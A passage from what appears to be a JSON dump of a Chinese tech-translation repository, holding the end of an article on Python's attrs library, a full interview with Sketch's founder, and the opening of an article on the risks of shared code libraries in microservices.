__init__(self, x, y, z):\n        self.x = x\n        self.y = y\n        self.z = z\n    def __repr__(self):\n        return (self.__class__.__name__ +\n                (\"(x={}, y={}, z={})\".format(self.x, self.y, self.z)))\n    def __eq__(self, other):\n        if not isinstance(other, self.__class__):\n            return NotImplemented\n        return (self.x, self.y, self.z) == (other.x, other.y, other.z)\n\n```\n\n**7** 次?!\n\n\n```\nclass Point3D(object):\n    def __init__(self, x, y, z):\n        self.x = x\n        self.y = y\n        self.z = z\n    def __repr__(self):\n        return (self.__class__.__name__ +\n                (\"(x={}, y={}, z={})\".format(self.x, self.y, self.z)))\n    def __eq__(self, other):\n        if not isinstance(other, self.__class__):\n            return NotImplemented\n        return (self.x, self.y, self.z) == (other.x, other.y, other.z)\n    def __lt__(self, other):\n        if not isinstance(other, self.__class__):\n            return NotImplemented\n        return (self.x, self.y, self.z) < (other.x, other.y, other.z)\n\n```\n\n**9** 次?!\n\n\n```\nfrom functools import total_ordering\n@total_ordering\nclass Point3D(object):\n    def __init__(self, x, y, z):\n        self.x = x\n        self.y = y\n        self.z = z\n    def __repr__(self):\n        return (self.__class__.__name__ +\n                (\"(x={}, y={}, z={})\".format(self.x, self.y, self.z)))\n    def __eq__(self, other):\n        if not isinstance(other, self.__class__):\n            return NotImplemented\n        return (self.x, self.y, self.z) == (other.x, other.y, other.z)\n    def __lt__(self, other):\n        if not isinstance(other, self.__class__):\n            return NotImplemented\n        return (self.x, self.y, self.z) < (other.x, other.y, other.z)\n\n```\n\n好了，噢 ~ 2 行多代码不是很多，但至少现在我们还没有定义其他所有的比较方法。但 **现在** 我们就大功告成了，对不对？\n\n\n```\nfrom unittest import TestCase\nclass Point3DTests(TestCase):\n\n```\n\n你知道吗？我受够了。到现在写了 20 行代码，而这个类什么功能都还没有；这个问题最困难的部分应该是四元求解器，而不是「做可以打印和比较的数据结构」。我被成堆的无用的元组，列表和字典所淹没；用 Python 定义好合适的数据结构实在太辛苦了。\n\n* * *\n\n## `namedtuple` 救援（不是真正意义上的）。\n\n标准库对这个难题的回答是 [`namedtuple`](https://docs.python.org/2.7/library/collections.html#collections.namedtuple)。虽然初稿中（在这流派中和他有许多相似之处而 [我自己](https://github.com/twisted/epsilon/blob/master/epsilon/structlike.py) 有一些尴尬和过时的条目） `namedtuple` 的不幸是无法挽救的。它导出了巨大的不良公共功能量这将是兼容性维护的巨大噩梦，并且它没有解决一半，一个跑入的问题。它的缺点完整枚举是单调乏味的，但也有一些亮点。\n\n\n*   他们通过编号指标进行访问无论您是否希望这样做。除此之外，这意味着你不能有私有属性，因为他们通过明显的公共接口 `__getitem__` 暴露出来。\n*   它比较相等的值相同的原始 `tuple` ，所以很容易陷入离奇的类型混乱，特别是如果你想用它来使用 `tuple` 和 `list` 进行迁移。\n*   这是一个元组，所以它 **总是** 一成不变的。\n至于最后一点，你可以像它这样使用：\n\n\n```\nPoint3D = namedtuple('Point3D', ['x', 'y', 'z'])\n\n```\n\n这种情况下，它看起来并不 **像** 代码中的类型；无特殊情况下，简单的语法分析工具不能将它识别为一体。你不能给其它任何行为这种方式，因为这个方法没有其他地方可以放置。更何况事实是，每个类的名字你必须输入两次。\n\n或者您可以使用继承这样做：\n\n\n```\nclass Point3D(namedtuple('_Point3DBase', 'x y z'.split()])):\n    pass\n\n```\n\n给你一个可以放置方法以及文档字符串的地方，一般有它看起来像一个类，它是...但是现在返回了一个奇怪的内部名称（顺便说一句，显示的内容在 `repr` ，而不是类的实际名称）。不过你也可以默默列出此处未列出的可变属性，以及添加 `class` 声明的一个奇怪的副作用；也就是说，除非你给类体加上 `__slots__ = 'x y z'.split()` ，否则我们只是回到每个属性将名称打两次。\n\n还没提到的已经被证明的 [你不应该使用继承](https://www.youtube.com/watch?v=3MNVP9-hglc)。\n\n因此，`namedtuple` 是可以改善的如果它是你将要做的，只是在某些情况下，它自己存在一些奇怪的包。\n\n* * *\n\n## 键入 `attr`\n\n因此，这里就是我最喜欢的强制 Python 库的用武之地。\n\n让我们重新审视上述问题。如何使 `Point3D` 用上 `attrs` ?\n\n```\nimport attr\n@attr.s\n```\n\n由于这个框架没有内置在这门语言中，所以我们确实需要使用两行代码来开始：import 和 decorator 语句说明我们可以开始使用这个框架。\n\n\n```\nimport attr\n@attr.s\nclass Point3D(object):\n\n```\n\n你看，没有继承！通过使用类修饰符， `Point3D`  可以维持原先旧的 Python 类的样子。\n\n\n```\nimport attr\n@attr.s\nclass Point3D(object):\n    x = attr.ib()\n\n```\n\n他有一个名为 `x` 的属性。\n\n\n```\nimport attr\n@attr.s\nclass Point3D(object):\n    x = attr.ib()\n    y = attr.ib()\n    z = attr.ib()\n\n```\n\n一个叫 `y` 一个叫 `z` 我们就大功告成了。\n\n我们做了什么？等待。一个不错的字符串表示？\n\n\n```\n>>> Point3D(1, 2, 3)\nPoint3D(x=1, y=2, z=3)\n\n```\n\n比较？\n\n\n```\n>>> Point3D(1, 2, 3) == Point3D(1, 2, 3)\nTrue\n>>> Point3D(3, 2, 1) == Point3D(1, 2, 3)\nFalse\n>>> Point3D(3, 2, 3) > Point3D(1, 2, 3)\nTrue\n\n```\n\n好了，但如果我想提取一个适合 JSON 序列化格式有明确属性定义的数据该怎么做？\n\n\n```\n>>> attr.asdict(Point3D(1, 2, 3))\n{'y': 2, 'x': 1, 'z': 3}\n\n```\n\n也许这最后的一点点。但尽管如此，它应该变得更容易，因为 `attrs` 让你 **声明域的类** ，有很多关于他们可能感兴趣的元数据以及其他东西，然后获取元数据退出。\n\n```\n>>> import pprint\n>>> pprint.pprint(attr.fields(Point3D))\n(Attribute(name='x', default=NOTHING, validator=None, repr=True, cmp=True, hash=True, init=True, convert=None),\n Attribute(name='y', default=NOTHING, validator=None, repr=True, cmp=True, hash=True, init=True, convert=None),\n Attribute(name='z', default=NOTHING, validator=None, repr=True, cmp=True, hash=True, init=True, convert=None))\n\n```\n\n我不打算深入到 `attrs`  **每个** 有趣的功能；你可以阅读该文档。另外，它有良好的维护，因此总有新的东西出现，我可能会错过一些重要的事情每隔一段时间。但是 `attrs` 这样做，一旦你使用它们，你就会意识到 Python 之前非常的缺少此类东西。 \n\n1.  它允许您定义简洁的类型，而不是相当冗长的 `def __init__...` 。类型无需键入。\n2.  它可以让你说你 **直接声明的意思** ，而不是拐弯抹角的表达它。用「我有一个类型，他被称为 MyType ，它具有 `a` 的属性和行为，可以直接得到，而不必通过逆向工程猜测它的行为（例如，运行 `dir` 的实例，或寻找`self.__class__.__dict__`）。」来代替「我有一个类型，它被称为 MyType ，它有一个构造函数，我分配属性 ‘A’ 到参数 ‘A’ 。」\n3.  它 **提供了有用的默认行为**，而不是 Python 的有时有用但是经常向后的默认值。\n4.  它增添了一个让你 **稍后更严格的执行** ，简单的开始。\n\n让我们来探讨最后一点。\n\n## 逐步增强\n\n目前我不打算谈论 **每个** 功能，如果我没提到其中的几个是我的失职。你可以在那些 `repr()` 对于 `Attribute` 的新文章中看到，还会有许多其他有趣的东西。 \n\n例如：你可以验证被传递到  `@attr.s` 类验证属性，我们的三维点，例如，可能应该包含数字。为了简单起见，我们可以说，在 `float` 情况下，像这样：\n\n<div style=\"\">\n\n```\nimport attr\nfrom attr.validators import instance_of\n@attr.s\nclass Point3D(object):\n    x = attr.ib(validator=instance_of(float))\n    y = attr.ib(validator=instance_of(float))\n    z = attr.ib(validator=instance_of(float))\n\n```\n\n我们使用 `attrs` 意味着我们要有一个额外验证每个属性的区域；我们可以只添加类型信息的每个属性，因为我们需要它。其中的一些东西让我们避免其他常见的错误。例如，这是一种流行的 “spot the bug” 的 Python 面试问题。\n\n\n```\nclass Bag:\n    def __init__(self, contents=[]):\n        self._contents = contents\n    def add(self, something):\n        self._contents.append(something)\n    def get(self):\n        return self._contents[:]\na\n```\n\n解决它，当然，变成这样了。\n\n\n```\nclass Bag:\n    def __init__(self, contents=None):\n        if contents is None:\n            contents = []\n        self._contents = contents\n\n```\n\n添加两行额外的代码。\n\n`contents` 不经意间成为这里的一个全局变量，使所有的 `Bag` 对象没有设置不同的列表共享相同的列表。有了 `attrs` 这个代替变为：\n\n\n```\n@attr.s\nclass Bag:\n    _contents = attr.ib(default=attr.Factory(list))\n    def add(self, something):\n        self._contents.append(something)\n    def get(self):\n        return self._contents[:]\n\n```\n\n还有一些其他的功能， `attrs` 提供了让你的类更加方便准确的机会。另一个例子？如果你想让与对象无关的属性更严格（或者在 CPython 上有更高的内存效率），你可以在类的层次上把 slots设置为 True，例如 `@attr.s(slots=True)` 自动开启 `attrs` 的声明匹配 [`__slots__` ](https://docs.python.org/3.5/reference/datamodel.html#object.__slots__)属性。所有的这些方便的功能让你使用你的 `attr.ib()` 声明做出更好，更强大的东西。\n\n* * *\n\n## Python 的未来\n\n对于最终能够全面的在 Python 3 中编程，一些人很兴奋。而 **我** 期待的是能够全面的在 Python-with-`attrs` 中编程。它对我见过的所有的代码库都产生了细微但是有益的设计影响。\n\n试试看：对于你现在将使用一个整洁的解释类的地方，你可能会非常的惊讶，而在以前，你可能在那些地方使用描述很少的元组，列表或字典，忍受着因为共同维护带来的混乱。现在，拥有一些结构类型是非常容易的，它们清晰明确的指出目的方向（在他们  `__repr__` 和 `__doc__` 中，甚至只是在其属性中的名称），你可能会发现你会更多的使用它。你的代码将会变得更好，我知道我的代码已经是了。\n\n\n* * *\n\n1.  在这里缺乏引用是因为属性暴露给 `__caller__` 没有意义，他们只是被公开的命名而已。这种模式，它完全摆脱了私有方法并且只拥有唯一的私有属性，可以很好的应对它自己传递的参数。 ↩\n\n2.  我们尚未得到真正令人兴奋的东西：构造时的类型认证，可变的默认值... ↩\n\n"
  },
  {
    "path": "TODO/the-past-present-and-future-of-sketch.md",
    "content": "* 原文链接 : [The Past, Present and Future of Sketch](https://medium.com/habit-of-introspection/the-past-present-and-future-of-sketch-d5237879b7af#.1qa7ojbp1)\n* 原文作者 : [Geoff Teehan](https://medium.com/@gt)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [lfkdsk](https://github.com/lfkdsk)\n* 校对者:[邵辉Vista](https://github.com/shaohui10086), [lihenair](https://github.com/lihenair)\n\n# Sketch的过去现在和未来\n\n在一次 Adobe 的活动上有人问我对 [Comet](http://landing.adobe.com/en/na/products/creative-cloud/comet/229818-notifyme.html?sdid=NYTLR42C&mv=search&s_kwcid=AL!3085!3!93823739227!e!!g!!adobe%20comet&ef_id=VWDaFgAABRB1hgVZ:20160111181832:s) 有什么看法。这让我想起了 Comet 对 [Sketch](https://www.sketchapp.com/) 意味着什么。\n\n\nSketch 和 Photoshop 已经成为产品设计者的首选工具，而且大部分我今天交流的设计者都已经从 Photoshop 切换到 Sketch 了。\n\n\n产品原型已经成为产品设计的一个重要组成部分，然而直到 Comet 出现之前， Adobe 在这个领域没有做出任何建树。 Adobe 也意识到类似于 Sketch 的简单而专注的设计工具会逐渐流行普及，变成产品设计者的首选工具，这可能对 Comet 的问世充当了重要的角色。\n\n\n我当时的想法是如果我是 Pieter ，我一定会吓得屁滚尿流。我周围的谈话都是关于 Pieter ， Comet 以及 Sketch 将如何反击的。当时，我非常严厉的跟 Pieter 说，如果他想避免公司破产，他就需要融资并发展 Sketch 。 David 和 Goliath ，也许现在角色要对换一下。\n\n\n我接着说，尽管 Sketch 从发布以来已经连续4年多取得了良好发展；但它没有在原轨道上高速提升来维持它应有的地位。\n\n\n我意识到 Pieter 不经常接受采访，所以我不确定他和我聊天谈论感觉如何，更不用说谈论 Comet vs Sketch 了。然而，当我和他交流的时候， Pieter 是亲切而又开朗的。下面是我们聊天的一些亮点。\n\n\n**你怎么向我们的父母那代人描述 Sketch ？**  \n向我的父母解释 Sketch 是什么是非常困难的。就我来说，从根本上，它是用于数字化设计的绘图应用。它既不 _仅仅_ 是个绘图应用，也不 _仅仅_ 是个图片编辑器。它使用这些以及其他很多工具，让你扩展和细化你希望生产的产品—最能代表你艺术性和创造性的产品。它同时力争让你摆脱那些可用的设计工具的束缚。这是个很棒的问题。Geoff，你如何去描述它做了什么？因为这么多年过去了，我还真没有一个简洁全面的方式来描述它。\n\n\n**哈，我自己没有考虑过这个问题的答案。你认为可以把它描述成一个帮助你设计应用的应用？**   \n是的！最初我们就是为了网站和图片而设计了 Sketch ，之后随着设计应用越来越流行，它也流行起来。不过那是初衷。\n\n\n**当你着手设计它的时候，现在的 Sketch 是你所希望的样子么？**  \n是的，为了网站、应用、和图标。那是最初的想法。\n\n\n**你认为你已经成功了么？**  \n我想我们已经成功了。我们做出来能满足我们最初目标的应用，对于我来说这已经是某种意义上的成功了。\n\n\n\n**你现在的公司是什么样的？**  \n开始的时候只有我喝我的朋友，现在已经有了13个人。有人身兼多职，不过我可以说有6个开发，一些设计师，支持，测试，还有一些人处理插件和脚本。\n\n\n\n**你对你的员工有什么希望？**  \n这是一个好问题，我希望他们能从构建这个产品中获得自豪感，可以骄傲的说他们在开发 Sketch。每个员工都相距遥远。我们招聘的第一个码农住在 Hebrides，苏格兰海岸的一个岛上。不用说，这不是你所谓的紧密实际的办公室文化。我们既不会每天见面，也不会一起吃午饭。恰恰相反，我们一年只会见一到两面。和其他同类公司比，我们还是有点不同的活力。最后，我希望他们享受现在的工作。我希望他们能够在解决各种困难问题时感到挑战。我认为有许多充满挑战的领域来保持他们的兴趣。我绝不想把他们累死，只想他们感到工作和挑战的平衡。\n\n\n \n\n**公司不在硅谷有什么好处？**  \n公司选址在硅谷有很多好处。拜访投资人更加容易，在谷外就比较难。但是，事实上距离不是问题，因为我喜欢远离投资圈。\n\n我一直认为硅谷有点自我陶醉了。我认为有个旁观者的视角是很有用的。我已经去那里很多次了。每个与你交流的人看上去都做着软件或设计工作，这让我感激我平凡又日复一日的生活。由于不在那里，我免于沉浸在自我陶醉的对话中——我处在一个完全不同的世界。\n\n事实上我不在硅谷还意味着我不用支付高额的租金和其他额外的生活支出。我想另一个优点是我和员工们住的距离很远。这意味着我们不需要和我们住的近的人竞争。我们可以雇佣幸福的居住在苏格兰海岸外一个小岛上的人，并且雇佣他们仅仅是因为他们很优秀而不需要他们搬家到旧金山、阿姆斯特丹、或其它地方。\n\n\n\n**过去的一年你学到了什么来推动公司下一年的发展？**  \n过去一年我们扩大了公司规模 - 可能是之前的两倍。所以去年我学会了如何管理更多的员工，如何加速他们处理我们做的每件事。我认为接下来的一年我们将劳有所得。因为你知道杰夫，员工需要花时间去了解代码，公司的运作方式和其他一切。我想经过了去年大家已经熟悉了所有，这将有利于我们我们取得更多的成果。这也意味着我现在知道如何管理公司的成长。\n\n\n\n**在公司过去发展过程中你遇到了哪些挑战?**  \n我们一直和有很多钱的大公司们竞争，并且我们不能和他们正面竞争。而且，我们需要的有专长的人非常的少。找到满足我们需求的人并不容易，而且要求他们想要远程工作就更难了。所以，因为我们只招收能够精确地满足我们需求的人，挑选可利用的员工有点挑战性。\n\n\n\n**你拿过投资么？**  \n没有，我们都是完全的自筹资金。没有其他的投资者。\n\n\n\n**你曾经被外面的投资吸引过么？**  \n没有，我从未被吸引过。我们能自给自足并且获利。如果我接受了一项投资，这将意味着把一个相当大的一部分公司交给了仅仅可能是通过某种渠道知道我们能获得很大利润的外部投资者，出于对 Sketch 的极大兴趣我可能不会同意投资。我想去以一种我认为合适的方式去发展公司，并且我不想去从一个比我期待还大的人身上获得压力。而且，拿了那笔钱，我可能被要求去以一种长远来看我不认为是最好的速度来开发软件。与之相类，我不想要去被强迫去招很多的人以至于我们无法获利，之后只好被强迫去拿更多的投资。我们可能会很多的从6个开发者发展到20个或者30个－在这个时间点我不认为是聪明的。所以在短期内我目前还没有看到拿外部资金的好处。\n\n\n**你对外部投资有这样的看法，你不担心其他人会超过你么？**  \n好吧，我担心也不担心。我会一直担心其他人将会做到你做不到的东西。但是与此同时我认为一意孤行的发展公司会耽误公司的时间，包括招收新的职员，让他们在正确的方向前进，等等。我认为有一个小而又专注的团队你能够做的更多。我不认为仅拥有更多的人就意味着你可以前进的更快更远。\n\n\n\n**你们公司最大的弱点是什么？**  \n危机来自挑战者。 Adobe 几个月前宣布了 Comet 。这对我们无疑构成了严重威胁。像 Adobe 这样的巨头，与他们竞争的风险就是他们不急于求成。他们可以边亏钱边提成 Comet — 并且他们公司有足够多的天才员工来这样做，因此这则消息给我很大压力。\n我想对于我们的产品还有很多的东西可以去做。也许在过去的一年，进展并没有我料想的快。但是，就像我们讨论过的，当你带来新的人并且真的花时间让他们成为一体、提升速度那是必然要做的。而且软件中还有一些很多年前我写的部分，因为我们现在扩大了原来的设计范围而需要修改。这需要时间去清理并且在过去的一年我们已经成功的清理了一部分，但还有更多的工作要做，当然，这需要时间和精力。我更关注于内部的问题而不是外部的问题。\n\n\n**我可以肯定地说 Sketch 正在蚕食 Photeshop 开创并持有多年的市场空间。你认为 Comet 会蚕食你们的么？**  \n我们可以确实地在 Sketch 上做很多事情就像建立原型设计。所以我不认为 Comet 可以在功能上超过我们。我认为，我们已经建立的 Sketch 周围的生态系统是一个独特的竞争优势，我们拥有了 Adobe 无法轻松地复制的优势，包括集成的插件工具，导出到 Framer、Origami、Principle 等等。\n\n\n**你看到设计和原型的融合了么？又或者是总会有对于更加突出关注的工具的需求？**  \n我认为原型设计有宽广的发展。一方面，你可以使用基本的工具像是原始的 Flinto 所提供的屏幕可视化流程。这十分的有价值。另一方面你可以使用像是 Origami 和 Framer 这样你可以完全自定义动画的工具。你可以做非常有趣的事情。然而我认为这不是每个设计者都感兴趣的事。我担心这些动画会像前一阵出的 iOS7 的 skeuomorphic stuff 一样做得过分。我很看重动画，但是我认为设计师应该有热情迎接新事物的倾向。如果我们只看原型设计。我们必须在他们之间非常复杂的屏幕过度之间进行非常简单的原型设计。曾经有被集成进 Sketch 的工具，但是开发像是 Framer 或是 Origami 那样的实用程序将会是非常难的。你可能会像是 Photoshop 那样把应用膨胀到大多数用户只会使用其中一小部分功能的样子。所以我认为独立应用做独立的功能是非常有价值的。我不认为我们应该试图把每个东西添加到应用中。\n\n\n\n**你是怎么做出像是让 Sketch 保持静态设计而不是集成融合这么重大的决定呢？**  \n你不是第一个问我这个问题的人。我们和很多公司的设计师交流过这类事情。因此我们结合了反馈和我们自己的想法做出这些决定。\n\n\n\n**你认为人们知道他们想要什么么？**  \n他们当然知道。去年我们曾经与很多公司的人交流过，我经常听到“ Sketch 已经很完美了，你只需要加入这个东西就更好了”。一些人关注自动布局，一些人可能关注原型设计，另一些人关注数据驱动设计。所以经常这些建议对于说话的人听起来很简单，但是他们说的只是采取这些基本上非常复杂的想法，而且之后如果我们可以只在 Sketch 添加一个小小的功能，那么它将会非常完美。每个人建议一些事情，都没有看起来相似的请求甚至是主题。并且很多建议可能听起来是一个简单的变化，但是解决起来都非常复杂，所以我们不得不选择和理解，我们不能满足每一个人。\n我不想做一个完全由用户说什么或是想要什么主导的应用。保留你自己的想法而不只是用户想要什么就添加什么。\n\n\n\n**你有一系列的价值观去驱动这些决定么？它们随着时间变化么？**  \n我想我们想要什么是相当清楚的。我从没有真的去尝试把他们写在一个单子上然后说这就是我们的核心价值观和 Sketch 应该是什么样的原则。我猜我们只是经常用思想里的价值观做出决定，但是我不能够把他们告诉你，因为如果我现在列出一个单子，我将有可能因为我忘了去关注一些事情而在下周列出另一个单子。\n\n\n**在这个领域谁的进展最大？**  \n我知道一些融合了 Sketch 的应用像是 Framer 、 Principle 和 Flinto ，最近都有一系列的更新或者是制作全新的应用程序，这使我十分感动。但可能因为它们和 Sketch 相关并且我一直关注的原因，所以我才会有这样的想法。\n我不会消耗很多时间在 Tech Crunch 或 Product Hunt 上去寻找我应该关注的最新的项目，因为我非常的忙，并且对 Sketch 非常感兴趣。\n\n\n\n**你怎么知道你是不是前进的够快？**  \n我不知道。我希望那能简单一点。就像我说最初，我只知道有一些事情我们需要去开发－只需要去更新扩大还没有完成的部分就可以。这种类型的工作从来也不会走的足够的快。与此同时，它也是复杂的，所以我不能期待它在几个月内完成。所以如果我前进的过快，我怎么知道？没有人能对这些事情进行可靠的预言。我猜我们仅能事后回顾。此刻，我认为我们前进的步伐恰到好处。\n\n\n\n**你如何平衡质量等级？**  \n我非常恐惧的事情其中之一就是公司发展过快。根据 Medium 和 Hackernews 之前的一篇报道：Facebook 的 IOS 应用有多达300名开发人员，这是很吓人的。对于我们，我们现在有一个全职的测试人员而且我们在代码审查方面下了很大功夫，我认为为了让每一行的代码审查都是有效的，开发人员清楚地知道自己在做什么是很重要的，并且他们应该有着良好的交流，相互十分熟悉，这样他们在看对方的代码的时候能清楚的知道它的作用。\n\n\n\n**测试已经成为 Sketch 最大的痛点了吗？**  \n公正的说，是的。对应用增加需求就像开凿一个复杂的大山。有些简单的像复制黏贴。\n但是他们有很多边缘的容易被忽视的问题，包括：你从哪拷贝的？你要粘贴到哪里？它将在页面的哪里结束？它属于哪个组？\n对当前的选择在那里你打算做什么？等等。像 Sketch 这样你基本上可以在任何点做任何事的应用其中一定有一大堆复杂的东西。这肯定是一个挑战。\n\n\n**你会为今天 Sketch 的地位惊讶么？**  \n我从来没有想过 Sketch 能做到现在这么大，我刚开始做 Sketch 第一个版本的时候，iPhone 和 App Store 还没有诞生呢，我知道有那么一小部分人在 Photoshop 的小角落里制作图标和用户界面，我认为应该有足够的空间来满足这样的非主流需求，我被这么大的市场惊到了，我想同样惊到的还有 Adobe。\n\n\n**你认为就公司现在的发展，一次性的收费对你开发 Sketch 是可持续性的么？**  \n好吧，这个描述不是非常精准。我们大概在两年前发布需要有尝升级的第三版。所以这和 Adobe 选择他们的 Creative Cloud 之前的模式一样。我绝对同意应用的一次性收费不是一种可持续性方式。我同样知道我们不想要用订购的模式。订购的方案在公司呼吁很高。你总是能拿到收入这点非常好－那么你不必拿出这些大的版本来说服足够多的人再次升级，等等。\n\n顾客不喜欢订购软件的方式。当 Adobe 终止 Fireworks 的时候，那是我们卖的最多的日子之一。 Adobe 的定位十分基础，你可以现在选择 Photoshop 。而且很多人说，我真的不是喜欢 Photoshop ，而且我不想每个月支付，所以这让我了解了其他的收费方式。在最开始， Adobe 引入了订购的方式作为一种相对于传统方式的可供替代的方式。在那几年之后，他们选择了仅支持订购的方式，这是我们又一次卖的最多的日子。如果他们不了解一个非常明显的理由，我们可以清楚的发现人们不喜欢订购这种方式。\n\n当你开发一个以服务器为基础的产品时，每个月支付的方式更容易被接受，但是如果这只是一个应用仅仅用在你的Mac上而不和服务器进行交互直接做一些事情，人们就不理解为什么他们每个月都要付费。\n\n\n\n**Sketch 的成功是什么？**  \n我真的喜欢为 Sketch 工作，和我们团队的人一起工作。并且我认为我自己将会很开心的做这件事很多年。并不会因为我有足够的钱、足够的用户、足够成功、或是对应用感到厌倦、或是把它卖了之类的事情而停止－不，我不能。我希望在将来很长一段时间我还能做我现在做的事情。\n\n\n**Sketch 将会发生什么改变？**  \n前不久我们离开了 Mac 的 App Store ，我们认为我们可以更快的推送更新。我是真的激动地去能够交出我们原来对于新年的计划的东西。我们发现上一个大更新用了我们太长的时间，现在我们打算持续的推送小更新。但是我不打算说的太多，因为我们都知道软件行业的一些规则。\n\n\n\n\n_听 Pieter 对于 Sketch 的想法和希望是有趣和引人入胜的，并且会长存于这个领域。他对 Sketch 的大小，规模和增长速度仍然十分满意。我个人期待更多来自 Pieter 和他的团队的分享。尽管我不认为 Comet 将会一夜成名击败 Sketch ，但是我认为它可能会抢占 Sketch 一定的市场。但是一件事我始终坚信， Pieter 敬业而且热爱 Sketch ，无论竞争者做什么，他都不会耽搁很长时间。_\n\n\n\n\n_我对于 Pieter 能抽出时间并且直率的谈论他所创建的公司而感到感激，因为他明确的看到了未来的需求。我懂得了发展一个公司的利弊，尤其是你创建的，而且了解 Pieter 在运营一家精益、完全远程的公司时不同方面的表现还有他对 Sketch 的未来预测是非常有趣的。_\n\n\n\n\n_多谢 Pieter ，祝好运\n~Geoff_\n\n\n<!--Me, on [Twitter](https://twitter.com/gt).-->\n"
  },
  {
    "path": "TODO/the-perils-of-shared-code.md",
    "content": "* 原文地址：[The perils of shared code](https://www.innoq.com/en/blog/the-perils-of-shared-code)\n* 原文作者：[Daniel Westheide](https://www.innoq.com/en/staff/daniel-westheide)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Gocy](https://github.com/Gocy015/)\n* 校对者：[marcmoore](https://github.com/marcmoore), [phxnirvana](https://github.com/phxnirvana)\n\n# 代码复用的风险性\n\n人们常说好心办坏事。在软件项目中，通过代码库来实现微服务之间的代码复用就是这样一种情况。几乎在所有采用了微服务架构的项目组织中，各个独立的团队和开发者都应该基于某些核心代码库来构建他们的微服务。很显然，尽管人们早已知道这其中潜在的问题，但依然有许多的人没有给予足够的重视。在这篇文章中，我将会论证为什么采用代码库可能起初看起来很有吸引力，又为何会成为一个麻烦，以及你应该如何缓解这些问题。\n\n## 代码复用的目的\n\n利用库来实现代码复用往往是为了这两个目的：共享域逻辑和基础组件层的抽象。\n\n1. **可共享的域模型（ Shared domain model ）：** 域模型中的某一部分可能在多个 **有界上下文（ Bounded Contexts ）** 中是一样的，因此，相比起反复地实现这一段域逻辑，你会砍掉重复实现的需求并消除在多次实现中出现逻辑不一致的可能性。这部分人们想要共享的域逻辑一般是核心域或是数个泛型子域。在域驱动设计的术语中，这也被称作 **共享内核 （ Shared Kernel ）** 。通常，你会在这里面找到像 **会话控制（ Session ）** 、认证逻辑这样的概念，当然，其中的内容不仅仅局限于这些。与之相似的方法还有 **标准数据模型（ Canonical Data Model ）**。\n\n2. **基础组件层的抽象（ Infrastructure layer abstractions ）：** 你希望避免反复地实现有用的基础组件层抽象逻辑，所以你把它们放到库中。通常，这些库提供了统一的数据库访问、消息发送、序列化接口以及其他各种服务。\n\n上述两个目标的出发点是一致的 - 避免代码重复，即遵循 **DRY** 原则（ “ Don't repeat yourself ! ”）。这些逻辑只实现一次有以下几个好处：\n\n- 你不需要花费宝贵的时间去解决那些已经解决过的问题。\n- 有一套统一的消息发送、数据库访问及其他操作的接口，意味着当开发者在阅读或修改由他人编写的微服务模块代码时更加轻松。\n- 你不需要担心业务逻辑或是基础组件的具体实现在不同模块之间出现细微的差异。取而代之的是，它们都只有一个统一而且正确的实现方式。\n\n## 代码复用的问题\n\n听起来非常棒的理论都有着自己的问题，而这些问题很可能比那些你用自己的代码库来解决的问题更加让人头疼。 Stefan Tilkov 已经详细解释了 [为什么你应该避免使用标准数据模型](https://www.innoq.com/en/blog/thoughts-on-a-canonical-data-model/) 。在他的基础之上，我再补充一些其它的问题。\n\n### 分布式整体\n\n通常，人们总下意识地认为把代码放入库中意味着永远都不需要担心其中的服务出现错误或是使用了过时的实现方式，因为他们只需要把依赖的库升级到最新版本就可以了。\n\n当你依赖于通过升级自己的库，来对所有微服务的某些功能作出一致的改变时，你实际上在服务之间建立了强耦合关系。你因此而失去了微服务架构的一大优势，那就是各个服务更新迭代的相互独立性。\n\n我见过许多这样的案例：所有的服务必须同时发布，以保证功能的正常使用。如果你的项目已经走到了这一步，那么毋庸置疑，你其实建立了一个分布式整体。\n\n一个常见的案例就是用代码生成技术来为你的服务提供一个用户代码库，譬如使用 Swagger 描述你的服务 API 。开发者会比想象中更倾向于滥用这个功能来进行大的修改，因为依赖其服务的用户“仅仅”需要更新用户代码库的版本就行了。这可不是你 [迭代一个分布式系统](http://olivergierke.de/2016/10/evolving-distributed-systems/) 所应该做的。\n\n### 依赖关系地狱\n\n\n代码库，尤其是那些为了解决基础组件的问题而提供一个通用实现的库，往往有一个通病：它们引入了一大堆自身所依赖的库。你的库的传递依赖树越大，就越可能步入被称之为依赖关系地狱的噩梦。由于你的微服务很可能还要依赖其它具有传递依赖关系的库，迟早会有一些库传递性地引入一些版本冲突的库，而简单地在库的版本之间选择是不可行的，因为它们在二进制上无法兼容。（译者注：此处原文想表达的意思应该是，在庞大的依赖树中，可能有两个节点依赖了同一个库的不同版本，而这个共同依赖的库的两个版本之间无法兼容。）\n\n当然，你可以通过让你的核心库依赖所有微服务所需要用到的库来解决这个问题。但这依旧意味着微服务不能够独立进行迭代更新，比方说你更新了微服务所依赖的某一个特定的库 - 这些微服务就都要与你的核心库的发布步调一致了。除此之外，在每个单独的服务可能都只需要依赖少数几个的库的情况下，你何必强制使它们依赖一大堆其它的库呢？\n\n### 自顶而下的库设计方式\n\n更多时候，我所见到的库常常是数名架构师强迫开发者实现的，这是一种自顶而下的库设计方式。\n\n通常，这类库所暴露的 API 要么局限性强、缺乏灵活性，要么是使用了错误的抽象，因为它们的设计者对实际应用中存在的广泛的差异性了解不足。这样的库通常会让那些不得不使用它，和那些试图绕过其局限性的开发者遭受挫折。\n\n### 使用统一语言进行约束\n\n强制使用库所导致的一个最明显缺陷就是，迁移到不同的语言（或是平台，譬如 JVM 或 .NET ）变得更加困难，这同样失去了微服务架构的优势，即根据特定问题选择最合适的技术方案的能力。如果一段时间后你意识到这些库终究还是需要在不同的语言或环境中运行，你就必须要提供许多奇怪的支持。举个例子， Netflix 提供了一个 [Prana](https://github.com/Netflix/Prana) 的插件，这个插件运行了一系列非 JVM 服务，来为 Netflix 技术栈提供 HTTP API 。\n\n## 我们能不能做得更好？\n\n面对众多因采用库来实现代码复用而出现的问题，最极端的解决方案是直接不引入任何的库。这样做的话，你就得做一些复制-粘贴工作，或是为新的微服务模块提供一个模板工程以便将你的服务从上述的窘境中解放出来。基础组件相关的代码和域模型中的共享内核逻辑都可以这么做。实际上，在 Eric Evans 的经典小蓝书《 Domain-Driven Design 》中，他提到，“不同团队在各自的 KERNEL 副本中进行改动，并定期与其它团队进行整合”[[1]](#fn:1)。可见，共享内核并不一定要依赖库的形式。\n\n如果你觉得复制粘贴不是个好的主意，也完全没问题。毕竟正如前文所说，利用库实现代码复用是有一定的好处的。这样做的话，有以下几个重要的事情需要考虑：\n\n### 